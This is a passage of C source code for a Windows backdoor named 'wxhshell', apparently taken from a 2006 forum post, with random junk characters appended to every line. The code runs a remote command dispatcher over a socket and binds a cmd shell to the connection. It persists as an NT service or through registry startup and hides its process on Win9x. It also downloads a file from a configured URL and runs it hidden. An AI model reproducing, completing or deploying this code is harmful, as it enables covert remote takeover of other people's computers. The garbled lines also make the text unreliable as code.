  case '?': { (=}U2GD*  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); (NyS2 `  
    break; Z Mids"Xdf  
  } DPw"UY:  
  // 安装 cF_ Y}C  
  case 'i': { (5]<t&M  
    if(Install()) F8$.K*tT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M&Sjo' ( .  
    else |lm   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  poGF  
    break; lsU|xOB  
    } MLtfi{;LH  
  // 卸载 jY-{hW+r  
  case 'r': { 6AKH0t|4  
    if(Uninstall()) u3(zixb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q@6OIE  
    else P6&@fwJ<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zGHP{a1O7  
    break; j!B+Q  
    } B f~  
  // 显示 wxhshell 所在路径 U=\ZeYK.  
  case 'p': { |GM?4'2M.  
    char svExeFile[MAX_PATH]; G&)A7WaC  
    strcpy(svExeFile,"\n\r"); H{ p   
      strcat(svExeFile,ExeFile); ;| ##~Y.9  
        send(wsh,svExeFile,strlen(svExeFile),0); T~J6(,"  
    break; R(@B4M2  
    } ,-myR1}  
  // 重启 ^s\(2lB\F  
  case 'b': { kzny4v[y  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ?wt%e;  
    if(Boot(REBOOT)) @(Wx(3JR?}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )WF]v"t  
    else { r" d/ 9  
    closesocket(wsh); [wWip1OR  
    ExitThread(0); coT|t T  
    } 2>Hl=bX  
    break; =hxj B*")  
    } ;XNe:g.CR  
  // 关机 0%+S@_|  
  case 'd': { dnTB$8&  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *&9_+F8ly  
    if(Boot(SHUTDOWN)) <e-9We."  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Qu,W3d  
    else { Y!c RzQ  
    closesocket(wsh); ``kiAKMy  
    ExitThread(0); [tGAo/  
    } D^yZ!}Kl  
    break; c"Kl@ [1\~  
    } /{vv n  
  // 获取shell _W'>?e0i  
  case 's': { CMB:%  
    CmdShell(wsh); A&*lb7X  
    closesocket(wsh); ()e.J  
    ExitThread(0); +dq&9N/  
    break; ,V'+16xW  
  } izy7. (.a  
  // 退出 Tqz{{]%j~$  
  case 'x': { :# s 6,  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !G =!^RA  
    CloseIt(wsh); MlaViw  
    break; &b8Dy=#  
    } (JHzwI8+  
  // 离开 =># S7=  
  case 'q': { 4+e9:r]  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?$i`K|  
    closesocket(wsh); f4YcZyBGv  
    WSACleanup(); ^BIB'/Kh)  
    exit(1); [y-0w.V=oE  
    break; Nd'+s>d0  
        } XdE#l/#  
  } M }=X/*T  
  } |TL&#U  
1DVu`<OXcH  
  // 提示信息 xS?[v&"2  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^ZV1Ev8T6  
} RAYDl=}  
  } f1w&D ]|S+  
rOQ@(aUAZ  
  return; d2`m0U  
}  Aq674   
K>iM6Uv  
// shell模块句柄 H&\[iZ| -N  
int CmdShell(SOCKET sock) d.Wq@(ZoA  
{ aNLRUdc.  
STARTUPINFO si; H_RV#BW&  
ZeroMemory(&si,sizeof(si)); c<-F_+[  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 11t+ a,fM  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; .RF ijr  
PROCESS_INFORMATION ProcessInfo; DuX7  
char cmdline[]="cmd"; {`?C5<r  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *'4+kj7>  
  return 0; %EkV-%o*  
} pxP,cS  
Z-X(. Q  
// 自身启动模式 bC*( ,n<'  
int StartFromService(void) 6-#<*Pg  
{ (3a]#`Q  
typedef struct *W,tq(%tQ  
{ k+#6  
  DWORD ExitStatus; ;D.a |(Q  
  DWORD PebBaseAddress; x}v]JEIf[Q  
  DWORD AffinityMask;  gP%S{<.?  
  DWORD BasePriority; >xrO W`p ]  
  ULONG UniqueProcessId; D=Ia$O0.  
  ULONG InheritedFromUniqueProcessId; ?.Mw  
}   PROCESS_BASIC_INFORMATION; ERD( qL.J  
f$#--*  
PROCNTQSIP NtQueryInformationProcess; r+%:rFeX  
2..b/  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; /$ Gp<.z  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; zURxXo/\V  
c1 aCN  
  HANDLE             hProcess; "Kky|(EQ$$  
  PROCESS_BASIC_INFORMATION pbi; N fe  
v"wxHro  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &j=Fx F9o  
  if(NULL == hInst ) return 0; n7-|\p!xP6  
>K:| +XbH  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); /g$cQ=c  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); yF2|w=!  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); tg =ClZ-  
Y'K+O  
  if (!NtQueryInformationProcess) return 0; t8SvU  
]^aOYtKX  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); /zxLnT; 5  
  if(!hProcess) return 0; dJyf.VJ  
X*f#S:kiNU  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; C>l{_J)n  
' cM2]<  
  CloseHandle(hProcess); Nl"Xl?y}  
;MRK*sfw{  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); =AEl:SY+  
if(hProcess==NULL) return 0; .quui\I3  
U`YPzZp_  
HMODULE hMod; ^na8d's:  
char procName[255]; ]?KTw8j}  
unsigned long cbNeeded; Jv_KZDOdk  
`y"(\1  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Dxp8^VL  
f};lH[B3y  
  CloseHandle(hProcess); %#5\^4$z|N  
D*7JE  
if(strstr(procName,"services")) return 1; // 以服务启动 Y)~Y;;/G  
%LI[+#QE  
  return 0; // 注册表启动 B$ty`/{w,B  
} mEK0ID\  
yC%zX}5  
// 主模块 x<&2`=  
int StartWxhshell(LPSTR lpCmdLine) Std?p{ i  
{ FXLY*eRk  
  SOCKET wsl; PSCzeR  
BOOL val=TRUE; 6(#fGH&[  
  int port=0; RP!!6A6:  
  struct sockaddr_in door; #fB&Hv #s7  
GjVq"S  
  if(wscfg.ws_autoins) Install(); 8w,+Y]X<P[  
9Yu63s ia  
port=atoi(lpCmdLine); ~H<oqk:O-  
qW~Z#Si  
if(port<=0) port=wscfg.ws_port; >WYiOXYv  
6t zUp/O  
  WSADATA data; ^a>3U l{  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; eXs^YPi  
_:N+mEF  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   T"h@-UcTl  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); pr~%%fCh  
  door.sin_family = AF_INET; )I~U&sT\/  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); o )\\(^ld  
  door.sin_port = htons(port); O_v8R7 {  
+/"Ws '5E  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7hV9nuW  
closesocket(wsl); =2Vs))>Y  
return 1; ]|H`?L  
} K)ZW1d;  
h?Y->!'  
  if(listen(wsl,2) == INVALID_SOCKET) { pJg'$iR!/  
closesocket(wsl); =1|^) 4M,x  
return 1; V(gmC%6%l*  
} X667*L^  
  Wxhshell(wsl); Q:L^DZkGV  
  WSACleanup(); 9F~e^v]zp  
`(- nSQ  
return 0; Np2I*l6W  
,Yp+&&p.  
} u& 4i=K'x8  
vJ +sdG  
// 以NT服务方式启动 g3V bP  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8-JOfq}s  
{ ~mSW.jy}=-  
DWORD   status = 0; yT$CImP73  
  DWORD   specificError = 0xfffffff; T<o^f n,H  
j\I{pW-  
  serviceStatus.dwServiceType     = SERVICE_WIN32; mB\)Q J.%  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; xYmh{Vc8  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; -RLY.@'d-M  
  serviceStatus.dwWin32ExitCode     = 0; %w$\v"^_Y  
  serviceStatus.dwServiceSpecificExitCode = 0; D,3Kx ^  
  serviceStatus.dwCheckPoint       = 0; FR BW(vKE  
  serviceStatus.dwWaitHint       = 0;  v|K,  
!g`^<y!  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 54lU~ "  
  if (hServiceStatusHandle==0) return; kT@m*Etr{  
GgU8f0I  
status = GetLastError(); KF.O>c87&  
  if (status!=NO_ERROR) lRk)  
{ {/)q=  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ,H)v+lI  
    serviceStatus.dwCheckPoint       = 0; k^H&IS!  
    serviceStatus.dwWaitHint       = 0; ZXJ]==  
    serviceStatus.dwWin32ExitCode     = status; |>Ld'\i8  
    serviceStatus.dwServiceSpecificExitCode = specificError; Mzg zOM  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); c 5%uiv]  
    return; 4ZUTF3  
  } 2\4ammwT  
04j]W]8#  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; =~DQX\  
  serviceStatus.dwCheckPoint       = 0; 5n0B`A  
  serviceStatus.dwWaitHint       = 0; Sux/='  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); icrcP ~$A  
} MQ#nP_i  
_\2Ae\&c  
// 处理NT服务事件,比如:启动、停止 jW8,}Xs  
VOID WINAPI NTServiceHandler(DWORD fdwControl) mi';96  
{ LJ8 t@ui  
switch(fdwControl) gh?3[q6  
{ Nc da~h Q  
case SERVICE_CONTROL_STOP: g7UZtpLTm  
  serviceStatus.dwWin32ExitCode = 0; 4\_~B{kzZ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; k4E2OyCFoJ  
  serviceStatus.dwCheckPoint   = 0; '+s?\X4VC  
  serviceStatus.dwWaitHint     = 0; R9&3QRW|  
  { 4@mK:v %  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); i^SPNs=  
  } K\trT!I  
  return; 3 0.&Lzz  
case SERVICE_CONTROL_PAUSE: 6"L,#aKm^  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; "*bP @W  
  break; /ucS*m:<x  
case SERVICE_CONTROL_CONTINUE: #FhgKwx  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; mx!EuF$I  
  break; 8}?w i[T  
case SERVICE_CONTROL_INTERROGATE: 2JhE`EVH  
  break; X T<SR]  
}; <-h[I&."  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); jhJ'fI  
} FX  %(<M  
!jTxMf  
// 标准应用程序主函数 h}U>K4BJ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Wt M1nnJp  
{ B'v~0Kau  
@kPe/j/[1  
// 获取操作系统版本 fq[1|Q  
OsIsNt=GetOsVer(); 1xD?cA\vu  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Y2TXWl,Jk  
H[Q3M~_E  
  // 从命令行安装 cakwGs_{  
  if(strpbrk(lpCmdLine,"iI")) Install(); *%ta5a  
LTTMxiq[*  
  // 下载执行文件 iBt<EM]U/  
if(wscfg.ws_downexe) { ]~@uStHn  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) VeipM  
  WinExec(wscfg.ws_filenam,SW_HIDE); R xA:>yOPn  
} m ##_U9O  
_B?Hw[cc  
if(!OsIsNt) { re x MS  
// 如果时win9x,隐藏进程并且设置为注册表启动 A7I{Le  
HideProc(); C klIrD{  
StartWxhshell(lpCmdLine); d6f T  
} Ul Mc8z  
else ]^0mh["  
  if(StartFromService()) ANRZQpnXQ  
  // 以服务方式启动 LL_@nvu}M  
  StartServiceCtrlDispatcher(DispatchTable); | vPU]R>6  
else WjsmLb:5  
  // 普通方式启动 6ltV}Wt-  
  StartWxhshell(lpCmdLine); _oE 7<  
$YiG0GK<"  
return 0; )agrx76]3w  
}
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只看该作者 1 发表于: 2006-10-10
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